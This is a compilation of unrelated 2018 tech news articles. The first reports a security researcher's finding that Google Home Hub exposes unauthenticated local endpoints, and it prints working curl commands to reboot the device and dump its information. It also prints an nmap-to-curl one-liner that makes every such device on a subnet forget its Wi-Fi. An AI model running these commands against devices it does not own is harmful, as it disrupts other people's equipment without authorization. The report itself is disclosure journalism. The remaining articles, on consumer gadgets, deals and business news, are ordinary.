Security advocate Jerry Gamblin has posted a set of instructions – essentially basic lines of XML – that can easily pull important information off of the Google Home Hub and, in some cases, temporarily brick the device.
The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin), and accepts commands remotely (including a quick reboot via the command line).
The command – which consists of a simple URL call via the command line – is clearly part of the setup process. You can try this at home if you replace “hub” with the Home Hub’s local IP address.
curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot
I am not an IOT security expert, but I am pretty sure an unauthenticated curl statement should not be able to reboot the @madebygoogle home hub. pic.twitter.com/gCWFm5Ofyb
— Jerry Gamblin (@JGamblin) October 27, 2018
Other one-liners expose further data, including a number of micro services:
$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}
Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process.
nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi
As Gamblin notes, these holes aren’t showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.
Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa’s overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa’s oxygen concentrator.
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There are so many broadband deals out there promising different incentives and freebies and it can be really hard to know which ones are worth it. But Plusnet has a new broadband deal with a perk you will really want to get your hands on.
Until Wednesday November 7 Plusnet is offering a £75 Amazon.co.uk Gift Card with its Unlimited Broadband plan. Along with this bumper Amazon.co.uk Gift Card you' also be getting internet with average speeds of 10Mb and free landline calls to Plusnet customers.
The package will cost you £18.99 per month and is a 12 month contract. You will have to pay an upfront fee of £5 but this is a fixed price offer so you are guaranteed the same price throughout your contract.
More on this brilliant Plusnet deal:
What if I want a faster broadband deal?
If the 10Mb speeds of this deal just aren't doing it for you - maybe you rely on high quality 4K streaming, or just have loads of people in the house always looking to use the internet at once - Plusnet has other faster broadband deals that could be perfect for you that also come with an added bonus.
Upgrade to its Unlimited Fibre plan for an extra few pounds a month and you get some beefed up average speeds of 36Mb for faster internet use. This deal costs £23.99 a month and maintains that £5 upfront fee. This deal doesn't have the Amazon.co.uk Gift Card to sing about, but does come with £50 cashback instead which helps to make it one of the best value fibre broadband deals out there.
If you need even faster speeds, Plusnet also offers Unlimited Fibre Extra broadband with massive average speeds of 66Mb - that equates to downloads of over 8MB per second. This one will cost you £28.99 a month and a fiver upfront, but you still get that £50 cashback. Those kind of speeds for less than £30 per month are almost unheard of.
More on that Amazon.co.uk Gift Card
Once your broadband and line rental have been activated, Plusnet says you'll be sent an email with the details of your Gift Card - then you're free to spend away to your heart's content.
It can't be traded for money but you can use it to buy anything on Amazon.co.uk. And the best bit...you'll be happy to know that the card should be with you in plenty of time for Christmas so you can use it to power through your Christmas shopping!
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With the release of iOS 12.1, Apple has enabled the eSIM functionality on the iPhone XS, the iPhone XS Max and the iPhone XR which finally allows you to use two simultaneous mobile connections on your iPhone.
Etisalat has already announced support for eSIM on these new phones and here is how you can enable it on your iPhone.
Visit an Etisalat Office to get your QR code
At the moment, you can't activate eSIM over your phone and have to physically visit an Etisalat office to get a QR code. You can then scan this code on your iPhone through "Settings -> Cellular -> Add Cellular Plan" to activate the eSIM.
Charges for activating an eSIM
Charges for activating an eSIM are identical to that of a regular SIM which means you'll need to pay AED 26.50 if you already have a postpaid plan. If you are on a prepaid line, charges for that are AED 57.75.
If you are getting a new account/phone number with eSIM, charges for that are AED 131.25.
Multi SIM cards and eSIM
While eSIM works with multi-SIM options, at the moment, you can only have one eSIM on your phone number and that has to be your primary SIM. The rest of your SIM cards can only to be physical SIM cards.
To give you an example, you can activate your primary eSIM on your iPhone with your secondary physical SIM on your iPad or your car. The only exception is the Apple Watch which can act as a secondary eSIM.
Switching back to physical SIM for eSIM
Switching back to a regular SIM is basically the same process as switching to an eSIM. You'll need to go to an Etisalat office and get a new SIM card for which you'll pay AED 26.50 and your eSIM will get deactivated. You can then use the physical SIM card on your phone.
Let us know if you have any questions about eSIM in the UAE through twitter on @techradarme and we will try and get answers from Etisalat or du.
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In the parts of the world where the clocks have turned back, the winter nights are drawing in and the frost is coating the ground most mornings, it can feel difficult to prise yourself out of bed in the morning - especially when you see so little sunlight first thing on the way to the office and at the end of the day when you're leaving.
Plenty of people find this time of year difficult. Maybe your mood is a little low or you don't have the energy you usually have during summer. Although this is normal as the seasons change, it could also be a sign that you're suffering from Seasonal Affective Disorder (SAD).
Also called 'winter depression' or 'winter blues', SAD is a condition that's associated with the colder, darker months of the year. It's thought to be linked to a lack of daylight that goes on to then slow the production of happiness hormone serotonin, making sufferers feel anything from a bit groggy to depressed.
Of course the first step if you're feeling low is to chat to your GP. But there are also some gadgets that are specially made to help you ease the effects of the seasonal change - gadgets that’ll be enjoyed not just by those feeling the effects of SAD, but anyone wanting a light-fuelled energy boost in the mornings or even throughout the day.
The important thing to remember is this isn't just about getting you up and giving you energy either. Plenty of light during the day will give you a better night's sleep as well. Your body naturally wants light and dark, even if living in some parts of the world means you get way more of the latter.
Here's our pick of the best blues-busting lamps on the market at the moment, from the small and portable to the big, bold and super bright.
It's not really fair to put the Philips EnergyUp Energy Lamp into this list, because it's not the same as the others. It won't wake you up from a peaceful slumber to a fake sunrise and fake bird sounds and it won't lull you off into dreamland either.
Instead, the EnergyUp lamp does exactly what it says on the tin. It's designed to give you a boost of energy throughout the day instead. This is perfect if you already have a wake-up lamp at home, but need something for your office or the kitchen countertop or anywhere else to keep up your energy levels.
It provides 10,000 lux of light intensity, which is about the same as an average day outside. It delivers it in the form of blue light, which keeps you energised and the best bit is according to Philips you only need to have it on you for 20-30 minutes a day to notice the energy-boosting benefits.
The egg-like Lumie BodyClock Elite 300 is one of the best wake-up lights we’ve tried. It’s not the most advanced wake-up light on this list, but it’s certainly the most useful. Not only does it wake you with a gradually building light (along with one of a selection of natural alarm sounds), but it also offers the best sunset feature, helping you drift off to sleep - which most of the competition do not offer at all.
Seven-day alarm settings can be programmed, allowing for different wake up times across the week, while there’s also the option to use it as an AM/FM radio or MP3 player (provided you load an SD card up with tracks) too. In addition, it also comes pre-loaded with meditation tracks to help calm you before taking a nap.
There are a few too many buttons for all the controls and alarm combinations, and there’s a little construction involved outside the box - you’ll need to insert a regular lightbulb, and clip on the glass shade, too. But once you’ve got used to its intricacies, it’s a lovely warm light to wake to that works nicely as general bedside lamp, too.
The Philips HF3520 is perhaps the best-looking wake-up light on this list, and one of the best overall performers from our test. Circular (like a mini sun!) on a conical base, it gives off a warm glowing light that can be set to one of 20 intensity settings, from gentle ember to a room-filling blast.
With two separate alarm slots (which, slightly annoyingly, have to be activated each time you want to use them) and five natural wake up sounds, the HF3520’s gradual light steps were naturally graded, offering a peaceful start to the day.
In a nice touch, a simple tap of the lamp sets its alarm into snooze mode. But the other controls, either dotted around the outer ring or the touch-sensitive ones on its front face, could be a bit fiddly, especially when programming different settings. You’ll want to keep the instruction manual handy for the first few days.
This Philips light is let down by one point that otherwise mars a wonderful device - the radio function gets gradually more distorted along with the rising intensity of its light. I’d still heartily recommend it, but consider that potential problem before purchasing.
A SAD wake-up lamp with a scented twist, the Lumie Bodyclock IRIS 500 also doubles up as an aromatherapy gadget. You can fill two diffusers, tucked away underneath the lamp shade, with different smelling oils which will then be heated by the IRIS 500 and released in line with your morning wake-up and bedtime routines.
While it was great to walk into a lavender-scented bedroom, it could sometimes feel a bit overwhelming to have the perfumes released so close to my head (with the lamp sat on a bedside table - a placement I’d expect to be somewhat unexceptional).
Again, like the previous Lumie, seven-day programming options are available, with a range of light intensities, as well as sunrise and sunset options. It also has a physical remote control, should that be useful to you. But the light felt a lot harsher than the Bodyclock Elite 300, and the alarm options less varied. Unless you’re really into aromatherapy, there are simpler options with better lamps available.
Whereas the previous lamps on this list have been intended for the bedroom, Beurer’s TL100 is intended for use throughout the day, hitting your SAD lows with a full-on bright-light blast.
Lighting up to an approximate intensity of 10,000 lux, it can be set to light up a room for up to two hours (in 15 minute increments), allowing you to keep track of how much time you’ve had in front of it.
Slim and standing about a foot tall, it’s attractive and discreet enough to have in a shared office - I’ve had it on in TechRadar towers every day for about a month now, without complaint.
Well, at least until I started playing with the mood light settings! With a Bluetooth-connected app (available for iOS and Android), the TL100 can be set to one of 256 different colors, pulsing out on a set of preset timers and patterns, or a single color on a custom timer. So when the SAD lamp has given you a lift, you can essentially set it to #partymode.
Did it make me feel any cheerier overall? That’s hard to say - so many factors can affect a mood during a day. But I’d say that having it on while working certainly made me feel more alert.
The Beurer WL90 has all the trappings of a great bedside SAD wake-up lamp, and definitely has the most feature-rich spec sheet. In addition to sunset and sunrise options, radio and melody alarms and multiple mood light colors controlled via smartphone app, it also has a Bluetooth connection for playing back songs from your smart devices.
It’s a reasonably attractive device too, with stereo 3W speakers sat either side of a relaxed lamp with a semi-circular shade. Its clock timer was easily visible in the dark too.
However, for anything but the most basic of functions, all controls rely on the smartphone app. This wouldn’t necessarily be a problem, were it not for the fact that the Bluetooth connection was so inconsistent. If it connected to my Android phone one in ten times, that would seem like a lot. With light color and music Bluetooth playback controls so reliant on the app, and those being the main reasons buy this option over the Lumie and Philips alternatives, it’s hard to recommend the WL90 while such problems persist.
Yes it's yet another Lumie lamp, but this is one of the newest from the brand and promises one of the best wake-up lamp experiences for under £150.
Like the other Lumie lamps in the list, the Bodyclock Shine 300 is a really effective device that promises to mimic sunrise and sunset. According to Lumie, its lamps are the devices of choice of The British Swimming team, who use the Lumie Bodyclock to get them up early for training on dark, winter mornings.
This particular lamp boasts improved LED lighting tech, which serves up an even more convincing sunrise and sunset lighting experience. It also has built-in FM radio and an alarm with lots of different sounds to choose from.
The most compact of the wake-up lamps on this list, the HF3505 sadly proved my least favorite. The least flexible in terms of alarm slots (only one is programmable), alarm sound options and sunrise settings (let alone offering a sunset), it is nowhere near as feature-rich as its competition.
That’s understandable, given the relative affordability of the HF3505. But affordability comes at a price - its LED offers one of the harshest, most-sterile of white lights of any lamp on this list, while the touch buttons on the front (paired with the process with which settings are navigated) made it a chore to use.
It may help you rise a little easier, but you won’t lose any sleep without it.
And now for something completely different. Seeing as this isn’t a tabletop lamp, you’d be forgiven for seeing how the Valkee Bright Light earphones qualify for a place on this list - if anything, they look more like a stylish MP3 player than a light source. But hear us out on why we’ve thrown in this wildcard option.
Valkee’s Bright Light earphones, rather than playing music, use fibre-optics to shine high intensity brightness light into your ear canals. Though the science behind the idea is a little sketchy, the company claims that regular sessions with the earphones can shake off the winter blues by triggering light-sensitive proteins in your brain - the ones which play a role in setting the hands for your internal body clock.
Charged over USB and good for more than a week’s worth of use against the recommended session amounts, it’s a discreet and portable alternative to the the Beurer TL-100, if not quite a like-for-like substitute for the wake up lamps listed here.
As with the TL-100, I’d be cautious to assign my faith in shaking the effects of seasonal affective disorder entirely over to the Valkee buds - or any one device without professional medical advice being sought out first. But it’s certainly a tidily designed gadget, should you try it and find it helps ease your symptoms.
- Best fitness tracker for 2016
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Two separate parliamentary committees, in the UK and Canada, have issued an unprecedented international joint summons for Facebook’s CEO Mark Zuckerberg to appear before them.
The committees are investigating the impact of online disinformation on democratic processes and want Zuckerberg to answer questions related to the Cambridge Analytica-Facebook user data misuse scandal, which both have been probing this year.
More broadly, they are also seeking greater detail about Facebook’s digital policies and information governance practices — not least, in light of fresh data breaches — as they continue to investigate the democratic impacts and economic incentives related to the spread of online disinformation via social media platforms.
In a letter sent to the Facebook founder today, the chairs of the UK’s Digital, Culture, Media and Sport (DCMS) committee and the Canadian Standing Committee on Access to Information, Privacy and Ethics (SCAIPE), Damian Collins and Bob Zimmer respectively, write that they intend to hold a “special joint parliamentary hearing at the Westminster Parliament”, on November 27 — to form an “‘international grand committee’ on disinformation and fake news”.
“This will be led by ourselves but a number of other parliaments are likely to be represented,” they continue. “No such joint hearing has ever been held. Given your self-declared objective to “fix” Facebook, and to prevent the platform’s malign use in world affairs and democratic process, we would like to give you the chance to appear at this hearing.”
Both committees say they will be issuing their final reports into online disinformation by the end of December.
The DCMS committee has already put out a preliminary report this summer, following a number of hearings with company representatives and data experts, in which it called for urgent action from government to combat online disinformation and defend democracy — including suggesting it look at a levy on social media platforms to fund educational programs in digital literacy.
Although the UK government has so far declined to seize on the bulk of the committee’s recommendations — apparently preferring a ‘wait and gather evidence’ (and/or ‘kick a politically charged issue into the long grass’) approach.
Meanwhile, Canada’s interest in the democratic damage caused by so-called ‘fake news’ has been sharpened by AIQ, the data company linked to Cambridge Analytica, as one of its data handlers and system developers — and described by CA whistleblower Chris Wylie as essentially a division of his former employer — being located on its soil.
The SCAIPE committee has already held multiple, excoriating sessions interrogating executives from AIQ, which have been watched with close interest by at least some lawmakers across the Atlantic…
NOT TO BE MISSED –
We'll produce a video highlights (lowlights) thread later of AIQ's performance today at the Canadian Parliament, but here's a flavour…prepare to be shocked! pic.twitter.com/Phl6KFnySK— Brexitshambles (@brexit_sham) April 24, 2018
At the same time the DCMS committee has tried and failed repeatedly to get Facebook’s CEO before it during the course of its multi-month inquiry into online disinformation. Instead Facebook despatched a number of less senior staffers, culminating with its CTO — Mike Schroepfer — who spent around five hours being roasted by visibly irate committee members. And whose answers left it still unsatisfied.
Yet as political concern about election interference has stepped up steeply this year, Zuckerberg has attended sessions in the US Senate and House in April — to face (but not necessarily answer) policymakers’ questions.
He also appeared before a meeting of the EU parliament’s council of presidents — where he was heckled for dodging MEPs’ specific concerns.
But the UK parliament has been consistently snubbed. At the last, the DCMS committee resorted to saying it would issue Zuckerberg with a formal summons the next time he stepped on UK soil (and of course he hasn’t).
They’re now trying a different tack — in the form of a grand coalition of international lawmakers. From two — and possibly more — countries.
While the chairs of the UK and Canadian committees say they understand Zuckerberg cannot make himself available “to all parliaments” they argue Facebook’s users in other countries “need a line of accountability to your organisation — directly, via yourself”, adding: “We would have thought that this responsibility is something that you would want to take up. We both plan to issue final reports on this issue by the end of this December, 2018. The hearing of your evidence is now overdue, and urgent.”
“We call on you to take up this historic opportunity to tell parliamentarians from both sides of the Atlantic and beyond about the measures Facebook is taking to halt the spread of disinformation on your platform, and to protect user data,” they also write.
So far though, where non-domestic lawmakers are concerned, it’s only been elected representatives of the European Union’s 28 Member States who have proved to have enough collective political clout and pulling power to secure a little facetime with Zuckerberg.
So another Facebook snub seems the most likely response to the latest summons.
“We’ve received the committee’s letter and will respond to Mr Collins by his deadline,” a Facebook spokesperson told us when asked whether it would be despatching Zuckerberg this time.
The committee has given Facebook until November 7 to reply.
Perhaps the company will send its new global policy chief, Nick Clegg — who would at least be an all-too familiar face to Westminster lawmakers, having previously served as the UK’s deputy PM.
Even if Collins et al’s latest gambit still doesn’t net them Zuckerberg, the international coalition approach the two committees are now taking is interesting, given the challenges for many governments of regulating global platforms like Facebook whose user bases can scale bigger than some entire nations.
If the committees were to recruit lawmakers from additional countries to their joint hearing — Myanmar, for example, where Facebook’s platform has been accused of accelerating ethnic violence — such an invitation might be rather harder for Zuckerberg to ignore.
After all, Facebook does claim: “We are accountable.” And Zuckerberg is its CEO. (Though it does not state who exactly Facebook/Zuckerberg feels accountable to.)
While forming a joint international committee is a new tactic, UK and Canadian lawmakers and regulatory bodies have been working together for many months now — as part of their respective inquiries and investigations, and as they’ve sought to unpick complex data trails and understand transnational corporate structures.
In the process of cutting the session down into 'Tweetable' clips – here's a quick taster you may find interesting…….
Well played Canada – and @DamianCollins and Liz Denham @ICOnews #AIQ #SCL #CambridgeAnalytica #VoteLeave #Brexit pic.twitter.com/jW27f8l7V4
— Brexitshambles (@brexit_sham) April 24, 2018
One thing is increasingly clear when looking at the tangled web where politics and social media collide (with mass opinion manipulation the intended outcome): The interconnected, cross-border nature of the Internet, when meshed with well-funded digital political campaigning — and indeed buckets of personal data, is now placing huge strain on traditional legal structures at the nation-state level.
National election laws reliant on regulating things like campaign spending and joint working, as the UK’s laws are supposed to, simply won’t work unless you can actually follow the money and genuinely map the relationships.
And where use of personal data for online political ad-targeting is concerned, ethics must be front and center — as the UK’s data watchdog has warned.
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LinkedIn has created and — with 562 million users — leads the market in social platforms for people who want to network with others in their professions, and look for jobs. Now a startup that hopes to take it on in a specific niche — university students and recent grads, with a focus on diversity and inclusion — has raised a substantial round to grow. Handshake, a platform for both students looking to take their early career steps and employers who want to reach them, has raised $40 million in a Series C round of funding, after hitting 14 million users in the U.S. across 700 universities, and 300,000 employers targeting them.
The company is now valued at $275 million post-money, according to figures from PitchBook, a big leap on its valuation at the Series B stage two years ago, when it was valued at $108 million.
The funding is notable not just for that valuation hike — and the implication that many think it could give Microsoft-owned LinkedIn a run for its money among 20-somethings — but for who is doing the backing.
The round was led by EQT Ventures, the investment arm of European holding company and PE firm EQT, with participation also from several investment organizations that have put a focus on backing interesting startups in the education sphere, including the Chan Zuckerberg Initiative, Omidyar Network, Reach Capital; as well as True Ventures, Kleiner Perkins, Lightspeed Venture Partners, Spark Capital and KPCB Edge. Several of these are repeat investors and the total raised by Handshake — not to be confused with the B2B e-commerce platform of the same name — to $74 million.
To date, Handshake has only been active in the U.S. The company was founded in 2014 originally named Stryder by three graduates of the University of Michigan — Garrett Lord (currently the CEO), Scott Ringwelski (CTO) and Ben Christensen (a board member). The plan is to use the new funding to expand into more markets like Europe, using EQT’s network of businesses in the region to help it along.
LinkedIn has been making a lot of efforts over the years to court younger users and bring them into the LinkedIn fold earlier.
In 2013, the company lowered its minimum age for users to 13 and launched dedicated pages for universities. In 2014, LinkedIn started to add in more tools for younger users to connect with universities and their university-related networks on the platform. And through various e-learning efforts, LinkedIn has been trying to create a bridge between the kind of learning you might do at university, and what you might do after you leave to further your career.
The behemoth also started to take baby steps into providing more insights into diversity for those doing hiring, by letting recruiters examine search results by gender; and by providing bigger insights into the wider pool of people on LinkedIn.
Part of the reason for the baby steps, I’m guessing, is that LinkedIn simply lacks the data from its users to do more faster, and so that leaves a lot of room for a rival to step in.
In that vein, it seems Handshake is trying to position itself as a platform that is considering and thinking about how to address diversity from the ground up, as a native part of its platform while it is still small and growing.
One of the ways that Handshake gets more details about its members is through its partnerships with universities, which helps to populate information about their profiles, rather than relying on a person filling out the details manually. (To register for an account, you use your university address, similar to how Facebook worked when it first launched.)
Handshake also has relationships with more than 100 minority-serving institutions, which include Historically Black Colleges and Universities, and Hispanic Serving Institutions in the U.S., to bring them and their students more closely into that fold.
On the side of employers, it includes more search features for recruiters to search using more specific parameters in the effort to make more diverse hiring choices. “Candidates who might not have the right connections or privileged background can get in front of Fortune 500 companies,” the company notes.
“Our Handshake community is tackling the so-called ‘pipeline problem’ head on. Skilled students are on every campus in every corner of the country and we’re proud to help employers discover, recruit and hire up-and-coming talent from all backgrounds,” said Garrett Lord, Handshake Co-Founder and CEO, in a statement. “Students around the world experience the same inequality in the recruiting process, so we’re excited to partner with Alastair Mitchell” — the EQT partner leading the investment — “and EQT Ventures to expand our impact beyond the United States.”
That’s not to say that inclusion and diversity are the only issues that Handshake is tackling.
The company cites a 2018 Strada-Burning Glass Study that says more than 43 percent of graduates are underemployed — either not earning their full potential, or doing a job that doesn’t utilise their skills — in their first job out of college . “Of those who graduate underemployed, 50% remain underemployed 10 years after graduation.” There is, in other words, a big employment gap specifically with recent grads, and while many will land plum positions, many others flail, and the idea is that Handshake will help specifically to address that by improving how well people are matched to positions that are open.
This is, in fact, an interesting counterpoint to the fact that we also have a lot of ageism in certain fields, where older people are often overlooked — perhaps another niche market that is ripe for tackling?
Handshake today makes money much in the same way that LinkedIn does: it offers paid usage tiers for its users to unlock more features. In the startup’s case, a Premium employer tier called the Talent Engagement Suite was recently launched to let organizations search by diversity parameters and other more specific criteria. That appears to be the path that Handshake plans to follow going ahead, doubling its team to 200 with more people in product and engineering roles to build out more analytics and search and recommendations algorithms.
It’s also making some key hires for the next age. Christine Y. Cruzvergara, ex-Associate Provost and Executive Director for Career Education at Wellesley College, is joining as VP of Higher Education and Student Success, to work with institutions precisely on more inclusive initiatives and products.
“CZI is thrilled to support Handshake as it connects talented students to career opportunities that enable them to reach their full potential,” said Vivian Wu, Managing Partner of Ventures at the Chan Zuckerberg Initiative, in a statement. “Handshake’s approach – expanding access, building student community and support, and showcasing accomplishments beyond college and degree – produces real results, especially for young people from communities that haven’t had access to high quality job and life opportunities.”
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PSA: If you’re an Apple Watch owner who is having trouble finding the shiny new WatchOS 4.1 update that Apple just shipped, it isn’t quite ready yet.
Apple initially shipped the update on Tuesday alongside iOS 12.1, but it quickly pulled it hours later following reports that it bricked some Series 4 watches. A number of customers affected took to Reddit and Twitter to warn of the issues, which were first reported by 9to5Mac and caused some watches to be stuck on the loading screen.
The update is no longer available, but Apple told those who did download it and now have bricked a watch that it is working on a fix that’ll ship as soon as possible.
“Due to a small number of Apple Watch customers experiencing an issue while installing watchOS 5.1 today, we’ve pulled back the software update as a precaution,” it said in a statement. “Any customers impacted should contact AppleCare, but no action is required if the update installed successfully. We are working on a fix for an upcoming software update.”
The Watch drama comes less than 24 hours after Apple unveiled a new and larger version of the iPad Pro and a revamped MacBook Air model at an event in New York. Other goodies revealed included a new Mac Mini, a magnetic Apple Pencil and an expansion to its ‘Today at Apple’ program. Next up is the company’s earnings on Thursday, although affected Watch owners will hope that the patched WatchOS update arrives sooner.
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British businesses have been urged to embrace AI technology to help the country become a hub for development and innovation.
A new report from Microsoft has highlighted that the UK has "a clear opportunity" to strike out as an AI leader, but is currently being held back by the fact that many businesses don't have a concrete technology plan.
The report, which surveyed over a thousand business leaders and 4,000 workers across the UK, found that companies that have already begun using AI are already seeing tangible benefits.
UK AI use
Overall, more than half (51 per cent) of the business leaders surveyed revealed they do not have an AI strategy in place to address the changing needs brought on by rapid technology innovation.
These changes are so severe that 41 per cent stated that they believe their current business model will cease to exist within the next five years.
Despite these worries, many businesses seem unwilling to change or alter their current practices, with less than half (46 per cent) of UK leaders saying they thought it was worth re-training their current workforce - despite nearly two-thirds (59 per cent) of workers saying they are open to experimenting with AI to do new things at work.
As a result, just 18 per cent of employees say they are actively learning new skills to help them keep up with future changes to their job as a result of AI, and 41 per cent saying they thought AI will push out older workers within the next five years.
“AI represents a huge opportunity, but only if UK organisations embrace its application in the right way," said Clare Barclay, chief operating officer, Microsoft UK.
"AI is not about making UK businesses leaner, it’s about how we use the technology to make them stronger. In doing so, we can make our work more meaningful and boost UK competitiveness.”
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Garmin fans looking to get Spotify on their fitness watch now have another option besides the Fenix 5 Plus series. Starting October 31, Garmin is bringing Spotify on its Forerunner 645 Music smartwatch.
The post Soundtrack for your strides: Garmin’s Forerunner 645 Music smartwatch adds Spotify appeared first on Digital Trends.
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GoPro's Hero7 Black action camera comes with an all-new electronic stabilization technology for silky smooth footage. And to show it off, it recently called upon the services of an eagle ...
The post GoPro hires an eagle to help it show off Hero7’s video stabilization technology appeared first on Digital Trends.
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We went a bit Apple-frantic yesterday with the launch of the new iPad Pro 11, iPad Pro 12.9, new Macbook Air and Mac Mini (2018) all getting a once-over from our tech eye.
It was during this run-through that we decided to check out one of the features on the new iPad Pro range - given that it has the TrueDepth camera for Face ID, allowing you to open the tablet with your face, would that mean that selfies are improved too?
After all, that camera was first brought on the iPhone X in 2017, and it allowed Apple to offer selfies with bokeh (background blur) with only a single sensor.
That trick has now come to the iPad for the first time, allowing you to take portrait shots of yourself that look a little bit niftier than just a generic pic of your wonderful visage.
You can also play with the lighting effects, as you can on the iPhone X and its newer 10-monikered bedfellows, the iPhone XS, iPhone XS Max and iPhone XR. However, there are only three effects available, with Stage Light and Stage Light Mono (where the background is darkened out) curiously not available.
We say curiously as there's certainly enough power under the hood to allow for it - the A12X Bionic chip is going to be light years ahead of the power of some phones Apple has made, and yet they can handle the Stage Light effect.
While it's cool that you can have extra features on your new tablet - and given the price of the new iPad Pro range, you'd expect that you'd have every single goshdarn option going - we didn't find it that easy to take a snap holding the tablet.
Yes, you've got a massive viewfinder that lets you find your face more easily, but we tried it on the large iPad Pro 12.9 and it wasn't the easiest thing to hold with a single hand.
But, if you're thinking for some inexplicable reason that you'd like a massive screen to take your selfies, at least you can now buy the new iPad Pro with the safe knowledge that option is now open to you.
- Have a look at the new Apple tablet in our hands on: iPad Pro 11 review
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Until some years ago it happened that the majority of companies had to create their own IT based up on their own small on-site data center, and not because it was the best solution, but because it was the only available one. It was due to several reasons, from the low level of the broadband connection to the traditionalism of the technical practice, from the lack of technical standards in the market to the lack of specific technology. Among the several solutions, today the cloud represents an alternative to this ‘on premise’ model that is reliable, affordable and possible on the different purpose.
That’s why organizations have started moving data centres and software to the cloud: cloud could be seen as the ‘IT-as-a-commodity’, a new way to accelerate and facilitate a business.
As a result, many companies continued to deploy cloud solutions in silos, while maintaining their traditional core systems, but little by little the digital transformation has shifted the argument. There has been a step ahead in the mentality of the companies and now we can see that is the ‘best solution’ and not the ‘cheapest one’ to drive the final choice, overpassing any uncertainty or doubt.
The cloud is not only an enabler for making businesses more digital, it’s also an essential business driver for growth.
Moving away from the data centre
Simple, self-service, pay-per-use, scalable - there are many reasons to move to the cloud, and yet 65 percent of enterprise workloads are still running in owned or onsite data centres. Colocation data centres only host 20 percent of systems and just 9 percent are cloud-based.
For a business with an innovative tech-focused model, choosing the right cloud is an important step. By making this choice, you’ll ensure that technology is not a barrier that slows your business down, but rather a springboard for your go-to-market strategy. However, too often, businesses find a reason to convince themselves that moving to the cloud is not the best decision for them. On one hand you have large organizations talking about the supposed complexity, and on the other you have small businesses saying they are too small for the benefits to have a real impact.
This couldn’t be farther truth. From scalability to disaster recovery and digital transformation, the benefits of moving to the cloud are available to organizations of all shapes and sizes.
Moreover, let’s bear in mind that cloud is one of the possible ideal solution, but there is enough room for colocation, dedicated servers or managed dedicated servers and infrastructures too. Each provider has to find the right solution and it could also mean to integrate those services and approaches, by taking the best part of each of them, and at the same time, being able to hide their complexity so that the end user should only focus on his own business, and do not take care of the IT.
Making scalability easier
Moving to the cloud gives businesses the ability to adapt to business growth. With the cloud, scalability can be achieved in two ways: horizontally, by manipulating the infrastructure to add or remove cloud servers and vertically, by increasing or reducing the individual components (vCPU, RAM, HD etc.) of a server.
Businesses of all sizes can achieve scalability needs, such as start-up CercaOfficina.it – a website through which you can choose a repair shop to fix your car. After only four years in business, CercaOfficina.it crossed the threshold of 100,000 requests. For this start-up, scaling up needed to scale fast and it also was the only way to stay in business. Another example is Tommigame.com, a startup aimed at supporting hospitalized children: it is a business realized by a digital health company using virtual reality and artificial intelligence in order to create immersive VR experience for those little patients. By using cloud solutions, it is possible to collect data about their psychomotor behavior, monitor and personalize their treatments. Also, in this case, the business growth so fast that it was necessary to scale up and provide tools and resources very quickly.
Cloud-based solutions enables businesses to find the perfect solution for every stage of growth. You can expand your IT infrastructure by increasing or decreasing the resources you need, depending on how the business is developing. You can start off with a relatively small infrastructure, then gradually scale up, eliminating latency that results from dormant physical IT infrastructure.
More effective disaster recovery
Over two-fifths (43%) of SMEs have no contingency measures in place to deal with an IT crisis. For businesses that don’t have a specialised IT department, disaster recovery (DR) generally means relying on a third-party provider. This is the case for most businesses, either because they think they’re too small to need DR, or because they are not able to justify the cost and resources needed to maintain traditional DR. For businesses that do have DR in place, a recent survey found that one in five (18%) lack confidence in their DR plans and almost half (46%) are not testing those plans on an annual basis.
Cloud-based DR offers solutions adapted for all types of firms. Whatever your size, cloud based DR offers a way to build up your resilience at a price that’s relative to the size of your business, and with smaller resource overheads when creating, implementing and testing your DR plan.
Accelerating digital transformation
As part of an overall five year and 3.5 million Euro investment plan, Nexive, Italy’s number one provider of private postal services, decided to digitize all of its operations, moving from on-site to cloud-based data centers.
By moving to a cloud-based model, Nexive was able to ensure reliable physical and digital services. This also put Nexive one step ahead of its competition, with a flexible and secure solution for its data.
Before moving to the cloud, Nexive’s data was stored on a private server. This approach was a costly one, requiring significant investment in human resources to manage processes, constant manual upgrades and high maintenance costs. The regulatory requirements and activities involved in ensuring compliance were also significant.
Moving to the cloud eliminated the maintenance and compliance costs from Nexive and offered a solution that could instantly scale up in case of an activity peak.
Moving to the cloud, and staying one step ahead
From start-ups to multinationals, moving to the cloud is the best insurance against downtime – whether that be due to natural disasters, or human errors. It’s also the best way to respond to activity peaks and free business leaders concentrate on running their companies, rather than these potential concerns.
What’s more, having the right cloud solution provides protection for IT resources, the data the business holds and for the business processes it supports.
